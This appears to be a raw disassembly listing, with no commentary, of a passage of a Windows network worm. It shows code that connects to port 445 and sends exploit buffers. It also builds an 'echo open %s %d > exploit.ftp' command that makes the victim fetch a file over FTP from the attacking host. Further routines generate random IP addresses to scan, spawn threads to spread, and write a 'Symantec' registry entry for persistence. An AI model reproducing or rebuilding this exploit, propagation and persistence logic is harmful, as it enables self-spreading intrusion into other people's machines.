[ebp+arg_0] push edx call dword_4A1150 mov [ebp+var_C], eax push 0A81h call dword_4A113C mov [ebp+var_E], ax push 0 push 1 push 2 call dword_4A1144 mov [ebp+var_278], eax cmp [ebp+var_278], 0FFFFFFFFh jnz short loc_4A7BBA xor eax, eax jmp loc_4A7C85 ; --------------------------------------------------------------------------- loc_4A7BBA: ; CODE XREF: sub_4A79D3+1DEj push 10h lea eax, [ebp+var_10] push eax mov ecx, [ebp+var_278] push ecx call dword_4A1168 cmp eax, 0FFFFFFFFh jnz short loc_4A7BD9 xor eax, eax jmp loc_4A7C85 ; --------------------------------------------------------------------------- loc_4A7BD9: ; CODE XREF: sub_4A79D3+1FDj push 0 push 400h lea edx, [ebp+var_68C] push edx mov eax, [ebp+var_278] push eax call dword_4A1158 mov [ebp+var_288], eax mov ecx, dword_4A9A9C push ecx lea edx, [ebp+var_6F0] push edx push offset aEchoOpenSDExpl ; "echo open %s %d > exploit.ftp&echo user"... lea eax, [ebp+var_880] push eax call dword_4A10AC add esp, 10h push 0 lea ecx, [ebp+var_880] push ecx call sub_4A8910 add esp, 4 push eax lea edx, [ebp+var_880] push edx mov eax, [ebp+var_278] push eax call dword_4A115C cmp eax, 0FFFFFFFFh jnz short loc_4A7C4C xor eax, eax jmp short loc_4A7C85 ; --------------------------------------------------------------------------- loc_4A7C4C: ; CODE XREF: sub_4A79D3+273j push 12Ch call dword_4A1084 push 0 push 400h lea ecx, [ebp+var_68C] push ecx mov edx, [ebp+var_278] push edx call dword_4A1158 mov [ebp+var_288], eax mov eax, [ebp+var_278] push eax call dword_4A1190 loc_4A7C85: ; CODE XREF: sub_4A79D3+1E2j ; sub_4A79D3+201j ... mov esp, ebp pop ebp retn sub_4A79D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A7C89 proc near ; CODE XREF: sub_4A8232+16Bp ; sub_4A8232+199p ... var_89C8 = dword ptr -89C8h var_89C4 = byte ptr -89C4h var_8954 = byte ptr -8954h var_7E90 = byte ptr -7E90h var_68EC = word ptr -68ECh var_68E8 = byte ptr -68E8h var_62A8 = byte ptr -62A8h var_62A7 = byte ptr -62A7h var_5214 = byte ptr -5214h var_4750 = byte ptr -4750h var_474F = byte ptr -474Fh var_474C = dword ptr -474Ch var_4748 = dword ptr -4748h var_4744 = dword ptr -4744h var_4740 = byte ptr -4740h var_46A0 = byte ptr -46A0h var_3F94 = dword ptr -3F94h var_3F84 = byte ptr -3F84h var_3F70 = byte ptr -3F70h var_3F6C = dword ptr -3F6Ch var_3F68 = byte ptr -3F68h var_3F64 = byte ptr -3F64h var_3EE8 = byte ptr -3EE8h var_3718 = byte ptr -3718h var_326D = byte ptr -326Dh var_2F80 = byte ptr -2F80h var_2F18 = byte ptr -2F18h var_EA8 = dword ptr -0EA8h var_EA4 = dword ptr -0EA4h var_EA0 = byte ptr -0EA0h var_6BC = byte ptr -6BCh var_6AC = byte ptr -6ACh var_388 = byte ptr -388h var_384 = byte ptr -384h var_378 = byte ptr -378h var_F0 = byte ptr -0F0h var_ED = byte ptr -0EDh var_C3 = byte ptr -0C3h var_C1 = byte ptr -0C1h var_C0 = byte ptr -0C0h var_78 = byte ptr -78h var_77 = byte ptr -77h var_28 = byte ptr -28h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 89C8h call sub_4A8930 mov [ebp+var_89C8], 0 mov eax, dword_4A2EE8 mov [ebp+var_4748], eax mov ecx, dword_4A2EEC mov [ebp+var_4744], ecx mov [ebp+var_EA8], 0 mov edx, [ebp+arg_0] push edx push offset loc_4A2EDC lea eax, [ebp+var_28] push eax call dword_4A10AC add esp, 0Ch mov [ebp+var_3F6C], 0 jmp short loc_4A7CF2 ; --------------------------------------------------------------------------- loc_4A7CE3: ; CODE XREF: sub_4A7C89+91j mov ecx, [ebp+var_3F6C] add ecx, 1 mov [ebp+var_3F6C], ecx loc_4A7CF2: ; CODE XREF: sub_4A7C89+58j cmp [ebp+var_3F6C], 28h jge short loc_4A7D1C mov edx, [ebp+var_3F6C] mov eax, [ebp+var_3F6C] mov cl, [ebp+eax+var_28] mov [ebp+edx*2+var_78], cl mov edx, [ebp+var_3F6C] mov [ebp+edx*2+var_77], 0 jmp short loc_4A7CE3 ; --------------------------------------------------------------------------- loc_4A7D1C: ; CODE XREF: sub_4A7C89+70j push 60h push offset dword_4A1890 lea eax, [ebp+var_F0] push eax call sub_4A891C add esp, 0Ch lea ecx, [ebp+var_28] push ecx call sub_4A8910 add esp, 4 shl eax, 1 push eax lea edx, [ebp+var_78] push edx lea eax, [ebp+var_C0] push eax call sub_4A891C add esp, 0Ch push 9 push (offset aC+3) lea ecx, [ebp+var_28] push ecx call sub_4A8910 add esp, 4 lea edx, [ebp+eax*2+var_C1] push edx call sub_4A891C add esp, 0Ch lea eax, [ebp+var_28] push eax call sub_4A8910 add esp, 4 movsx ecx, al lea edx, [ecx+ecx+34h] mov [ebp+var_3F68], dl push 1 lea eax, [ebp+var_3F68] push eax lea ecx, [ebp+var_ED] push ecx call sub_4A891C add esp, 0Ch lea edx, [ebp+var_28] push edx call sub_4A8910 add esp, 4 movsx eax, al lea ecx, [eax+eax+9] mov [ebp+var_3F70], cl push 1 lea edx, [ebp+var_3F70] push edx lea eax, [ebp+var_C3] push eax call sub_4A891C add esp, 0Ch mov cx, word_4A1C80 push ecx call dword_4A113C and eax, 0FFFFh xor eax, 9999h mov [ebp+var_68EC], ax push 2 lea edx, [ebp+var_68EC] push edx push offset dword_4A1590 call sub_4A891C add esp, 0Ch mov [ebp+var_EA4], offset loc_4A14E0 cmp [ebp+arg_8], 0 jz loc_4A7F66 push 0DACh push 90h lea eax, [ebp+var_EA0] push eax call sub_4A890A add esp, 0Ch push 4 mov ecx, [ebp+arg_8] imul ecx, 3Ch add ecx, offset dword_4A1CC0 push ecx lea edx, [ebp+var_6BC] push edx call sub_4A891C add esp, 0Ch mov eax, [ebp+var_EA4] push eax call sub_4A8910 add esp, 4 push eax mov ecx, [ebp+var_EA4] push ecx lea edx, [ebp+var_6AC] push edx call sub_4A891C add esp, 0Ch push 4 push offset loc_4A2ED4 lea eax, [ebp+var_388] push eax call sub_4A891C add esp, 0Ch push 4 mov ecx, [ebp+arg_8] imul ecx, 3Ch add ecx, offset dword_4A1CC0 push ecx lea edx, [ebp+var_384] push edx call sub_4A891C add esp, 0Ch mov eax, [ebp+var_EA4] push eax call sub_4A8910 add esp, 4 push eax mov ecx, [ebp+var_EA4] push ecx lea edx, [ebp+var_378] push edx call sub_4A891C add esp, 0Ch mov [ebp+var_3F6C], 0 jmp short loc_4A7EF4 ; --------------------------------------------------------------------------- loc_4A7EE5: ; CODE XREF: sub_4A7C89+29Fj mov eax, [ebp+var_3F6C] add eax, 1 mov [ebp+var_3F6C], eax loc_4A7EF4: ; CODE XREF: sub_4A7C89+25Aj cmp [ebp+var_3F6C], 0DACh jge short loc_4A7F2A mov ecx, [ebp+var_3F6C] mov edx, [ebp+var_3F6C] mov al, [ebp+edx+var_EA0] mov [ebp+ecx*2+var_62A8], al mov ecx, [ebp+var_3F6C] mov [ebp+ecx*2+var_62A7], 0 jmp short loc_4A7EE5 ; --------------------------------------------------------------------------- loc_4A7F2A: ; CODE XREF: sub_4A7C89+275j mov [ebp+var_4750], 0 mov [ebp+var_474F], 0 push 1C52h push 31h lea edx, [ebp+var_2F80] push edx call sub_4A890A add esp, 0Ch push 1C52h push 31h lea eax, [ebp+var_89C4] push eax call sub_4A890A add esp, 0Ch jmp short loc_4A7FDD ; --------------------------------------------------------------------------- loc_4A7F66: ; CODE XREF: sub_4A7C89+193j push 7D0h push 90h lea ecx, [ebp+var_4740] push ecx call sub_4A890A add esp, 0Ch mov edx, [ebp+var_EA4] push edx call sub_4A8910 add esp, 4 push eax mov eax, [ebp+var_EA4] push eax lea ecx, [ebp+var_46A0] push ecx call sub_4A891C add esp, 0Ch lea edx, [ebp+var_4748] push edx call sub_4A8910 add esp, 4 push eax lea eax, [ebp+var_4748] push eax lea ecx, [ebp+var_3F84] push ecx call sub_4A891C add esp, 0Ch mov edx, [ebp+arg_8] imul edx, 3Ch mov eax, dword_4A1CC0[edx] mov [ebp+var_3F94], eax loc_4A7FDD: ; CODE XREF: sub_4A7C89+2DBj push 0E29h push 31h lea ecx, [ebp+var_3F64] push ecx call sub_4A890A add esp, 0Ch push 0 movsx edx, [ebp+var_3F68] add edx, 4 push edx lea eax, [ebp+var_F0] push eax mov ecx, [ebp+arg_4] push ecx call dword_4A115C cmp eax, 0FFFFFFFFh jnz short loc_4A801D xor eax, eax jmp loc_4A822E ; --------------------------------------------------------------------------- loc_4A801D: ; CODE XREF: sub_4A7C89+38Bj push 0 push 640h lea edx, [ebp+var_68E8] push edx mov eax, [ebp+arg_4] push eax call dword_4A1158 mov [ebp+var_474C], eax push 0 push 68h push offset dword_4A18F4 mov ecx, [ebp+arg_4] push ecx call dword_4A115C cmp eax, 0FFFFFFFFh jnz short loc_4A805A xor eax, eax jmp loc_4A822E ; --------------------------------------------------------------------------- loc_4A805A: ; CODE XREF: sub_4A7C89+3C8j push 0 push 640h lea edx, [ebp+var_68E8] push edx mov eax, [ebp+arg_4] push eax call dword_4A1158 mov [ebp+var_474C], eax push 0 push 0A0h push offset dword_4A1960 mov ecx, [ebp+arg_4] push ecx call dword_4A115C cmp eax, 0FFFFFFFFh jnz short loc_4A809A xor eax, eax jmp loc_4A822E ; --------------------------------------------------------------------------- loc_4A809A: ; CODE XREF: sub_4A7C89+408j push 0 push 640h lea edx, [ebp+var_68E8] push edx mov eax, [ebp+arg_4] push eax call dword_4A1158 mov [ebp+var_474C], eax cmp [ebp+arg_8], 0 jz loc_4A81A5 push 68h push offset dword_4A1B18 lea ecx, [ebp+var_2F80] push ecx call sub_4A891C add esp, 0Ch push 1B5Ah lea edx, [ebp+var_62A8] push edx lea eax, [ebp+var_2F18] push eax call sub_4A891C add esp, 0Ch push 70h push offset dword_4A1B84 lea ecx, [ebp+var_89C4] push ecx call sub_4A891C add esp, 0Ch push 0A5Eh lea edx, [ebp+var_5214] push edx lea eax, [ebp+var_8954] push eax call sub_4A891C add esp, 0Ch push 84h push offset dword_4A1BF8 lea ecx, [ebp+var_7E90] push ecx call sub_4A891C add esp, 0Ch push 0 push 10FCh lea edx, [ebp+var_2F80] push edx mov eax, [ebp+arg_4] push eax call dword_4A115C cmp eax, 0FFFFFFFFh jnz short loc_4A8161 xor eax, eax jmp loc_4A822E ; --------------------------------------------------------------------------- loc_4A8161: ; CODE XREF: sub_4A7C89+4CFj push 0 push 640h lea ecx, [ebp+var_68E8] push ecx mov edx, [ebp+arg_4] push edx call dword_4A1158 mov [ebp+var_474C], eax push 0 push 0FDCh lea eax, [ebp+var_89C4] push eax mov ecx, [ebp+arg_4] push ecx call dword_4A115C cmp eax, 0FFFFFFFFh jnz short loc_4A81A3 xor eax, eax jmp loc_4A822E ; --------------------------------------------------------------------------- loc_4A81A3: ; CODE XREF: sub_4A7C89+511j jmp short loc_4A8217 ; --------------------------------------------------------------------------- loc_4A81A5: ; CODE XREF: sub_4A7C89+433j push 7Ch push offset dword_4A1A04 lea edx, [ebp+var_3F64] push edx call sub_4A891C add esp, 0Ch push 7D0h lea eax, [ebp+var_4740] push eax lea ecx, [ebp+var_3EE8] push ecx call sub_4A891C add esp, 0Ch push 90h push offset dword_4A1A84 lea edx, [ebp+var_3718] push edx call sub_4A891C add esp, 0Ch mov [ebp+var_326D], 0 push 0 push 0CF8h lea eax, [ebp+var_3F64] push eax mov ecx, [ebp+arg_4] push ecx call dword_4A115C cmp eax, 0FFFFFFFFh jnz short loc_4A8217 xor eax, eax jmp short loc_4A822E ; --------------------------------------------------------------------------- loc_4A8217: ; CODE XREF: sub_4A7C89:loc_4A81A3j ; sub_4A7C89+588j push 190h call dword_4A1084 mov edx, [ebp+arg_0] push edx call sub_4A79D3 add esp, 4 loc_4A822E: ; CODE XREF: sub_4A7C89+38Fj ; sub_4A7C89+3CCj ... mov esp, ebp pop ebp retn sub_4A7C89 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A8232 proc near ; CODE XREF: sub_4A8423+194p ; sub_4A85C7+E5p ... var_664 = byte ptr -664h var_660 = dword ptr -660h var_65C = dword ptr -65Ch var_658 = byte ptr -658h var_614 = byte ptr -614h var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 664h mov [ebp+var_660], 1BDh mov [ebp+var_65C], 0 push 10h push 0 lea eax, [ebp+var_14] push eax call sub_4A890A add esp, 0Ch mov [ebp+var_14], 2 mov ecx, [ebp+arg_0] push ecx call dword_4A1150 mov [ebp+var_10], eax mov dx, word ptr [ebp+var_660] push edx call dword_4A113C mov [ebp+var_12], ax push 6 push 1 push 2 call dword_4A1144 mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_4A82A0 xor eax, eax jmp loc_4A841F ; --------------------------------------------------------------------------- loc_4A82A0: ; CODE XREF: sub_4A8232+65j push 10h lea eax, [ebp+var_14] push eax mov ecx, [ebp+var_4] push ecx call dword_4A1168 cmp eax, 0FFFFFFFFh jnz short loc_4A82BC xor eax, eax jmp loc_4A841F ; --------------------------------------------------------------------------- loc_4A82BC: ; CODE XREF: sub_4A8232+81j push 0 push 89h push offset dword_4A1678 mov edx, [ebp+var_4] push edx call dword_4A115C cmp eax, 0FFFFFFFFh jnz short loc_4A82DE xor eax, eax jmp loc_4A841F ; --------------------------------------------------------------------------- loc_4A82DE: ; CODE XREF: sub_4A8232+A3j push 0 push 640h lea eax, [ebp+var_658] push eax mov ecx, [ebp+var_4] push ecx call dword_4A1158 mov [ebp+var_18], eax push 0 push 0A8h push offset dword_4A1704 mov edx, [ebp+var_4] push edx call dword_4A115C cmp eax, 0FFFFFFFFh jnz short loc_4A831B xor eax, eax jmp loc_4A841F ; --------------------------------------------------------------------------- loc_4A831B: ; CODE XREF: sub_4A8232+E0j push 0 push 640h lea eax, [ebp+var_658] push eax mov ecx, [ebp+var_4] push ecx call dword_4A1158 mov [ebp+var_18], eax push 0 push 0DEh push offset dword_4A17B0 mov edx, [ebp+var_4] push edx call dword_4A115C cmp eax, 0FFFFFFFFh jnz short loc_4A8358 xor eax, eax jmp loc_4A841F ; --------------------------------------------------------------------------- loc_4A8358: ; CODE XREF: sub_4A8232+11Dj push 0 push 640h lea eax, [ebp+var_658] push eax mov ecx, [ebp+var_4] push ecx call dword_4A1158 mov [ebp+var_18], eax mov dl, [ebp+var_614] mov [ebp+var_664], dl cmp [ebp+var_664], 30h jz short loc_4A83C1 cmp [ebp+var_664], 31h jz short loc_4A8393 jmp short loc_4A8411 ; --------------------------------------------------------------------------- loc_4A8393: ; CODE XREF: sub_4A8232+15Dj push 0 mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_4A7C89 add esp, 0Ch test eax, eax jz short loc_4A83B5 mov [ebp+var_65C], 1 jmp short loc_4A83BF ; --------------------------------------------------------------------------- loc_4A83B5: ; CODE XREF: sub_4A8232+175j mov [ebp+var_65C], 0 loc_4A83BF: ; CODE XREF: sub_4A8232+181j jmp short loc_4A8415 ; --------------------------------------------------------------------------- loc_4A83C1: ; CODE XREF: sub_4A8232+154j push 2 mov edx, [ebp+var_4] push edx mov eax, [ebp+arg_0] push eax call sub_4A7C89 add esp, 0Ch test eax, eax jz short loc_4A83E3 mov [ebp+var_65C], 1 jmp short loc_4A840F ; --------------------------------------------------------------------------- loc_4A83E3: ; CODE XREF: sub_4A8232+1A3j push 1 mov ecx, [ebp+var_4] push ecx mov edx, [ebp+arg_0] push edx call sub_4A7C89 add esp, 0Ch test eax, eax jz short loc_4A8405 mov [ebp+var_65C], 1 jmp short loc_4A840F ; --------------------------------------------------------------------------- loc_4A8405: ; CODE XREF: sub_4A8232+1C5j mov [ebp+var_65C], 0 loc_4A840F: ; CODE XREF: sub_4A8232+1AFj ; sub_4A8232+1D1j jmp short loc_4A8415 ; --------------------------------------------------------------------------- loc_4A8411: ; CODE XREF: sub_4A8232+15Fj xor eax, eax jmp short loc_4A841F ; --------------------------------------------------------------------------- loc_4A8415: ; CODE XREF: sub_4A8232:loc_4A83BFj ; sub_4A8232:loc_4A840Fj mov eax, [ebp+var_4] push eax call dword_4A1190 loc_4A841F: ; CODE XREF: sub_4A8232+69j ; sub_4A8232+85j ... mov esp, ebp pop ebp retn sub_4A8232 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A8423 proc near ; DATA XREF: sub_4A87AD+55o var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 3Ch call dword_4A1064 push eax call dword_4A10CC add esp, 4 call dword_4A1114 cdq mov ecx, 0FFh idiv ecx mov [ebp+var_24], edx call dword_4A1114 cdq mov ecx, 0FFh idiv ecx mov [ebp+var_28], edx push 200h push offset dword_4A9864 call dword_4A118C cmp eax, 0FFFFFFFFh jz loc_4A852C push offset dword_4A9864 call dword_4A114C mov [ebp+var_34], eax cmp [ebp+var_34], 0 jz loc_4A852C mov edx, [ebp+var_34] mov eax, [edx+0Ch] cmp dword ptr [eax], 0 jz loc_4A852C push 4 mov ecx, [ebp+var_34] mov edx, [ecx+0Ch] mov eax, [edx] push eax lea ecx, [ebp+var_38] push ecx call sub_4A891C add esp, 0Ch mov edx, [ebp+var_38] push edx call dword_4A1188 push eax push offset aS_0 ; "%s" push offset dword_4A9864 call dword_4A10AC add esp, 0Ch push offset dword_4A9864 push offset dword_4A9840 call dword_4A10AC add esp, 8 push offset a__0 ; "." push offset dword_4A9864 call dword_4A10B0 add esp, 8 mov [ebp+var_3C], eax mov eax, [ebp+var_3C] push eax call dword_4A109C add esp, 4 mov [ebp+var_20], eax push offset a__0 ; "." push 0 call dword_4A10B0 add esp, 8 mov [ebp+var_3C], eax mov ecx, [ebp+var_3C] push ecx call dword_4A109C add esp, 4 mov [ebp+var_8], eax loc_4A852C: ; CODE XREF: sub_4A8423+4Bj ; sub_4A8423+63j ... mov edx, [ebp+var_28] push edx mov eax, [ebp+var_24] push eax mov ecx, [ebp+var_8] push ecx mov edx, [ebp+var_20] push edx push offset dword_4A2EF0 push offset dword_4A9850 call dword_4A10AC add esp, 18h mov [ebp+var_C], 1BDh call dword_4A1064 push eax call dword_4A10CC add esp, 4 push offset dword_4A9850 call sub_4A77B1 add esp, 4 mov [ebp+var_2C], eax mov ax, word ptr [ebp+var_C] push eax mov ecx, [ebp+var_2C] push ecx call sub_4A7865 add esp, 8 mov [ebp+var_30], eax cmp [ebp+var_30], 1 jnz short loc_4A85BF mov edx, [ebp+var_2C] mov [ebp+var_4], edx mov eax, [ebp+var_4] push eax call dword_4A1188 push eax push offset aS_0 ; "%s" lea ecx, [ebp+var_1C] push ecx call dword_4A10AC add esp, 0Ch lea edx, [ebp+var_1C] push edx call sub_4A8232 add esp, 4 loc_4A85BF: ; CODE XREF: sub_4A8423+16Bj xor eax, eax mov esp, ebp pop ebp retn 4 sub_4A8423 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A85C7 proc near ; DATA XREF: sub_4A87AD+40o var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 30h call dword_4A1064 push eax call dword_4A10CC add esp, 4 call dword_4A1114 cdq mov ecx, 0FFh idiv ecx mov [ebp+var_4], edx call dword_4A1114 cdq mov ecx, 0FFh idiv ecx mov [ebp+var_8], edx call dword_4A1114 cdq mov ecx, 0FFh idiv ecx mov [ebp+var_24], edx call dword_4A1114 cdq mov ecx, 0FFh idiv ecx mov [ebp+var_28], edx mov edx, [ebp+var_28] push edx mov eax, [ebp+var_24] push eax mov ecx, [ebp+var_8] push ecx mov edx, [ebp+var_4] push edx push offset aD_D_D_D ; "%d.%d.%d.%d" push offset dword_4A9A64 call dword_4A10AC add esp, 18h mov [ebp+var_10], 1BDh call dword_4A1064 push eax call dword_4A10CC add esp, 4 push offset dword_4A9A64 call sub_4A77B1 add esp, 4 mov [ebp+var_2C], eax mov ax, word ptr [ebp+var_10] push eax mov ecx, [ebp+var_2C] push ecx call sub_4A7865 add esp, 8 mov [ebp+var_30], eax cmp [ebp+var_30], 1 jnz short loc_4A86B4 mov edx, [ebp+var_2C] mov [ebp+var_C], edx mov eax, [ebp+var_C] push eax call dword_4A1188 push eax push offset aS_0 ; "%s" lea ecx, [ebp+var_20] push ecx call dword_4A10AC add esp, 0Ch lea edx, [ebp+var_20] push edx call sub_4A8232 add esp, 4 loc_4A86B4: ; CODE XREF: sub_4A85C7+BCj xor eax, eax mov esp, ebp pop ebp retn 4 sub_4A85C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A86BC proc near ; CODE XREF: sub_4A87AD:loc_4A881Bp var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 30h call dword_4A1064 push eax call dword_4A10CC add esp, 4 call dword_4A1114 cdq mov ecx, 0FFh idiv ecx mov [ebp+var_4], edx call dword_4A1114 cdq mov ecx, 0FFh idiv ecx mov [ebp+var_8], edx call dword_4A1114 cdq mov ecx, 0FFh idiv ecx mov [ebp+var_24], edx call dword_4A1114 cdq mov ecx, 0FFh idiv ecx mov [ebp+var_28], edx mov edx, [ebp+var_28] push edx mov eax, [ebp+var_24] push eax mov ecx, [ebp+var_8] push ecx mov edx, [ebp+var_4] push edx push offset aD_D_D_D ; "%d.%d.%d.%d" push offset dword_4A9A64 call dword_4A10AC add esp, 18h mov [ebp+var_10], 1BDh call dword_4A1064 push eax call dword_4A10CC add esp, 4 push offset dword_4A9A64 call sub_4A77B1 add esp, 4 mov [ebp+var_2C], eax mov ax, word ptr [ebp+var_10] push eax mov ecx, [ebp+var_2C] push ecx call sub_4A7865 add esp, 8 mov [ebp+var_30], eax cmp [ebp+var_30], 1 jnz short loc_4A87A9 mov edx, [ebp+var_2C] mov [ebp+var_C], edx mov eax, [ebp+var_C] push eax call dword_4A1188 push eax push offset aS_0 ; "%s" lea ecx, [ebp+var_20] push ecx call dword_4A10AC add esp, 0Ch lea edx, [ebp+var_20] push edx call sub_4A8232 add esp, 4 loc_4A87A9: ; CODE XREF: sub_4A86BC+BCj mov esp, ebp pop ebp retn sub_4A86BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A87AD proc near ; DATA XREF: MEW:004A32DFo ; sub_4A87AD+81o var_4 = dword ptr -4 push ebp mov ebp, esp push ecx loc_4A87B1: ; CODE XREF: sub_4A87AD+20j push 0 push offset dword_4A9860 call dword_4A1134 test eax, eax jnz short loc_4A87CF push 4E20h call dword_4A1084 jmp short loc_4A87B1 ; --------------------------------------------------------------------------- loc_4A87CF: ; CODE XREF: sub_4A87AD+13j mov [ebp+var_4], 0 jmp short loc_4A87E1 ; --------------------------------------------------------------------------- loc_4A87D8: ; CODE XREF: sub_4A87AD+6Cj mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_4A87E1: ; CODE XREF: sub_4A87AD+29j cmp [ebp+var_4], 0Ah jge short loc_4A881B push 0 push 0 push 0 push offset sub_4A85C7 push 0 push 0 call dword_4A1088 push 0 push 0 push 0 push offset sub_4A8423 push 0 push 0 call dword_4A1088 push 32h call dword_4A1084 jmp short loc_4A87D8 ; --------------------------------------------------------------------------- loc_4A881B: ; CODE XREF: sub_4A87AD+38j call sub_4A86BC push 64h call dword_4A1084 push 0 push 0 push 0 push offset sub_4A87AD push 0 push 0 call dword_4A1088 xor eax, eax mov esp, ebp pop ebp retn 4 sub_4A87AD endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A8850 proc near ; CODE XREF: MEW:004A326Ep var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 lea eax, [ebp+var_8] push eax push 0F003Fh push 0 push offset aSoftwareMicr_2 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... push 80000002h call dword_4A1004 mov [ebp+var_4], eax push offset aSymantec ; "Symantec" mov ecx, [ebp+var_8] push ecx call dword_4A1000 mov edx, [ebp+var_8] push edx call dword_4A100C lea eax, [ebp+var_8] push eax push 0F003Fh push 0 push offset aSoftwareMicr_3 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call dword_4A1004 mov [ebp+var_4], eax push offset aSymantec ; "Symantec" mov ecx, [ebp+var_8] push ecx call dword_4A1000 mov edx, [ebp+var_8] push edx call dword_4A100C mov esp, ebp pop ebp retn sub_4A8850 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4A88C8 proc near ; CODE XREF: sub_4A3FC4+265p ; sub_4A3FC4+289p jmp dword_4A1190 sub_4A88C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4A88CE proc near ; CODE XREF: sub_4A3FC4+254p jmp dword_4A1194 sub_4A88CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4A88D4 proc near ; CODE XREF: sub_4A3FC4+1A6p jmp dword_4A1164 sub_4A88D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4A88DA proc near ; CODE XREF: sub_4A3FC4+F6p ; sub_4A3FC4+165p jmp dword_4A113C sub_4A88DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4A88E0 proc near ; CODE XREF: sub_4A3FC4+C7p jmp dword_4A1140 sub_4A88E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4A88E6 proc near ; CODE XREF: sub_4A3FC4+8Ep jmp dword_4A1144 sub_4A88E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4A88EC proc near ; CODE XREF: sub_4A3FC4+75p jmp dword_4A1148 sub_4A88EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4A88F2 proc near ; CODE XREF: sub_4A425A+2Dp jmp dword_4A114C sub_4A88F2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4A88F8 proc near ; CODE XREF: sub_4A425A+Ap jmp dword_4A1150 sub_4A88F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4A88FE proc near ; CODE XREF: sub_4A6DD0+245p jmp dword_4A1174 sub_4A88FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4A8904 proc near ; CODE XREF: sub_4A2FA0+27p ; sub_4A2FEA+27p ... jmp dword_4A1104 sub_4A8904 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4A890A proc near ; CODE XREF: sub_4A30CE+14p ; sub_4A30CE+2Ap ... jmp dword_4A1108 sub_4A890A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4A8910 proc near ; CODE XREF: sub_4A3320+A3p ; sub_4A3DFF+A3p ... jmp dword_4A110C sub_4A8910 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4A8916 proc near ; CODE XREF: sub_4A4D6A+3Ep ; sub_4A4F60+34p ... jmp dword_4A10E8 sub_4A8916 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4A891C proc near ; CODE XREF: sub_4A5429+58p ; sub_4A5429+E4p ... jmp dword_4A10E4 sub_4A891C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4A8922 proc near ; CODE XREF: sub_4A5915+97p ; sub_4A5B18+698p ... jmp dword_4A10E0 sub_4A8922 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4A8928 proc near ; CODE XREF: sub_4A5915+35p jmp dword_4A10DC sub_4A8928 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4A8930 proc near ; CODE XREF: sub_4A65D5+8p ; sub_4A7C89+8p arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_4A8950 loc_4A893C: ; CODE XREF: sub_4A8930+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_4A893C loc_4A8950: ; CODE XREF: sub_4A8930+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_4A8930 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4A8960 proc near ; CODE XREF: sub_4A6DD0+45Cp ; sub_4A6DD0+48Fp ... jmp dword_4A10C0 sub_4A8960 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4A8966 proc near ; CODE XREF: sub_4A2FA0+41p ; sub_4A3037+41p jmp dword_4A11A4 sub_4A8966 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4A896C proc near ; CODE XREF: sub_4A6B78+2Cp ; sub_4A6B78+57p jmp dword_4A119C sub_4A896C endp ; --------------------------------------------------------------------------- align 8 